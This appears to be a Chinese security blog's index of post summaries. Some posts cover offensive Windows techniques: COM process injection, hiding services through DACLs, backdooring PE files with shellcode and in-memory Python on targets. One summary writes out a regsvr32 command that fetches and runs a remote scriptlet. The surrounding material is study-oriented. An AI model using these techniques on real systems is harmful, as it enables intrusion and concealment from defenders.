摘要:
COM PROCESS INJECTION for RUST 项目地址:https://github.com/0xlane/com-process-inject Process Injection via Component Object Model (COM) IRundown::DoCallba 阅读全文
摘要:
0x00 设置堆栈 栈顶指针按位与之后,将栈桢以16字节的大小对齐: 或者 我对内存对齐的理解: 把栈想象成一个积木堆成的楼,32位里每个积木能容纳4字节(32位),楼层高2的32次方,比如现在你在13楼里操作,发现13楼里堆了一部分东西,但是没有满,此时你有两种选择:继续在这楼里堆你的东西、再往上 阅读全文
摘要:
安装Nuget包 项目中添加包:dotnet add package Microsoft.AspNetCore.Authentication.JwtBearer 添加认证配置 Startup类中添加如下配置: public void ConfigureServices(IServiceCollect 阅读全文
摘要:
看到一篇文章讲述了通过设置 DACL 隐藏 Windows 服务信息,便做一下总结。 技术原理 系统中每个 Service 在 Windows 中都属于一种对象(Object),用户在访问对象时的权限会被和对象绑定的安全描述信息(Security Descriptors)所限定,例如 修改、删除、读 阅读全文
摘要:
原文链接:blog 在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。 命令语法如下: regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll 原理则是利用com组件的scriptlet 阅读全文
摘要:
关于文件操作个人比较困惑的地方有两点: 关于w和wb的区别 如何定位文件的读写位置 文件格式和打开模式 c中的文件打开模式分为:文本模式和二进制模式,分别处理文本格式文件和二进制格式文件。 两个模式的主要区别是在换行符的处理上,利用文本模式在写文本内容到文件的时候,需要将换行符转换成系统对应的编码方 阅读全文
摘要:
假设被调用的DLL存在一个导出函数,原型如下: void printN(int); 三种方式从DLL导入导出函数 生成DLL时使用模块定义 (.def) 文件 在主应用程序的函数定义中使用关键字__declspec(dllimport)或__declspec(dllexport) 利用#pragma 阅读全文
摘要:
参考 在文章Backdooring PE Files with Shellcode中介绍了一种在正常程序中注入shellcode的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。 示例程序代码 这里直接编译一个32位的HelloWorld程序为例: #include <stdi 阅读全文
摘要:
在目标机器运行python工具 好多工具都是python写的,如果目标机器是linux的话自带python环境可以很方便的运行这些工具,但是windows下是不自带python环境的,所以一种办法是直接在目标环境安装一个python,另外一种就是直接在内存加载python脚本。 而ironpytho 阅读全文
摘要:
读取输入的方式 相关函数原型(从控制台获取输入,不考虑宽字符): int scanf( const char *format, ... ); int getchar(void); char *gets( char *str ); char *gets_s( char *str, rsize_t n 阅读全文